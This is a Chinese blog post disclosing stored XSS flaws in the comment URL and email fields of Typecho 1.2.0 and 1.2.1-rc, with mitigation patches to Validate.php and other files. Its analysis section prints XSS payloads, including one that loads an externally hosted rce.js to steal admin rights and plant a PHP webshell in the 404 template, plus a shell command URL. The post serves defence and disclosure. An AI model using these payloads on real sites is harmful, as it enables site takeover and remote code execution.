【紧急修复!!!】Typecho 1.2.0 和开发版1.2.1存在存储型XSS漏洞
情况介绍:
今年4月初,有人发现Typecho1.2.0存在前端评论存储型XSS漏洞,配合恶意加载的JS,可以实现前端直接盗取到管理员权限,并登录后台,对模板文件,附件等进行修改,进一步拿shell,不少博主已经遭遇此类攻击。
同年4月,又有开发者发现最新版的typecho1.2.1-rc中,依然存在评论存储型XSS漏洞,如果配合相同的恶意JS文件,还是可以做到前端获取管理员权限。
解决办法:
先说最关心的解决办法:
- typecho=1.2.0
对于版本<=1.2.0
的用户,尽快升级到1.2.1-rc,虽然目前这个版本也存在类似的漏洞,但开发者修复了1.2.0的大量其他bug,安全性和稳定性整体有所提高。 - typecho=1.2.1-rc
目前处于这个版本的用户,由于官方暂未给出修复补丁或者更新版本,比较稳妥的办法是先关闭全站评论。因为这两次的漏洞均发生在评论功能处。但如果有些用户由于业务的原因,不能关闭评论,可以暂时使用以下缓解措施。
- 打开网站目录下的文件
var/Typecho/Validate.php
- 找到验证邮箱的部分代码块
Valid Email
部分,将return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
这句代码更换使用正则表达式过滤邮箱return preg_match("/^[A-Za-z0-9]+([_\.][A-Za-z0-9]+)*@([A-Za-z0-9\-]+\.)+[A-Za-z]{2,6}$/",$str) === 1;
更换后的部分:
1 | /** |
注意,这个方法目前仅仅是缓解措施,由其他用户提出,并且只针对邮箱进行过滤,安全性不一定能够完全保证。
- 一次性同时解决两个版本的XSS漏洞方式:
[alt type=”info”]这个方案是我在其他博主那里看到的,自己暂未测试过,也分享出来吧,方便一些不能升级版本的用户暂时缓解危害[/alt]
转自于Sh1zuku的小屋
修改var/Typecho/Validate.php 99行处return filter_var($str, FILTER_VALIDATE_EMAIL) !== false
;为:
1 | return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str); |
修改var/Typecho/Validate.php
113行大括号后增加:
1 | $parts = parse_url($str); |
删除或注释原有的return语句。
修改var/Widget/Base/Comments.php
271行为:
1 | echo '<a href="' . Common::safeUrl($this->url) . '"' |
修改var/Widget/Feedback.php
209行为:
1 | $comment['url'] = $this->request->filter('trim', 'url')->url; |
修改var/Widget/Feedback.php
308行为:
1 | $comment['url'] = $this->request->filter('trim', 'url')->url; |
修改var/Widget/Options.php
85行为:
1 | * @property bool $commentsRequireUrl |
漏洞原理
接下来是两次的漏洞原理分析和验证(本文所有的验证均在局域网内,使用虚拟靶场验证,并未造成任何危害)
Typecho=1.2.0
演示版本:
对于1.2.0,两次的漏洞均受到影响。漏洞发生在用户评论区,填写评论时可以选填的“网址”处。
在提交评论时候,如果在网址处插入XSS测试代码
http://xxx.xxx.com/"></a><script>alert("XSS")</script><a/href="#
后,提交评论就会立即触发,前台页面用户访问触发,管理员后台查看评论也会立即触。评论提交页面:
前台用户访问触发:
后台管理员登录查看评论触发:
数据库写入:
利用这点就可以盗取管理员cookie,从而获取管理员权限。或者像如下所写,加载JS获取完全控制权限。
1 | function step1(){ |
将这段JS部署在其他web服务器上(假设部署在192.168.3.10的web服务器根目录下,命名为rce.js)
然后将上文提到的XSS代码修改为
1 | http://xxx.xxx.com/"></a><script/src=http://192.168.3.10/rce.js></script><a/href="# |
进行提交后,网站将会立即对这段JS访问,但由于访客权限不足以修改404页面,待到管理去查看评论的时候,将会获取到管理员权限,同时在当前主题下的404页面写入php一句话木马。
接下来就可以拿到shell进行命令执行http://192.168.44.140/usr/themes/default/404.php?cookie=命令
拿到shell后执行的命令
这里我借用了一下微信公号“饼干社区”的复现截图,自己测试的时候,这一步的截图忘记截了。
Typecho=1.2.1-rc
这个版本存在的存储型XSS漏洞在用户评论的填写邮箱处,好在这个漏洞无法像上一个直接前端页面填写绕过并触发,有一定的校验,但可以通过抓取评论发送包,修改包内的参数,达成攻击。
同样,我们先正常提交一次评论,并对提交评论抓包,将参数mail的内容替换为XSS测试代码"></a><script>alert('hacked')</script>"@example.com
评论提交后,前台依然可以看到XSS被触发,并且后台管理员登录查看评论页面,也可以看到XSS被触发并写入:
存储型的XSS与上述的网址处是属于同一类,也可以配合JS后续拿到shell。
- 标题: 【紧急修复!!!】Typecho 1.2.0 和开发版1.2.1存在存储型XSS漏洞
- 作者: 耀鳞光翼
- 创建于 : 2023-04-24 14:52:47
- 更新于 : 2024-11-14 12:36:51
- 链接: https://blog.lightwing.top/2023/04/24/typecho-vulnerability/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。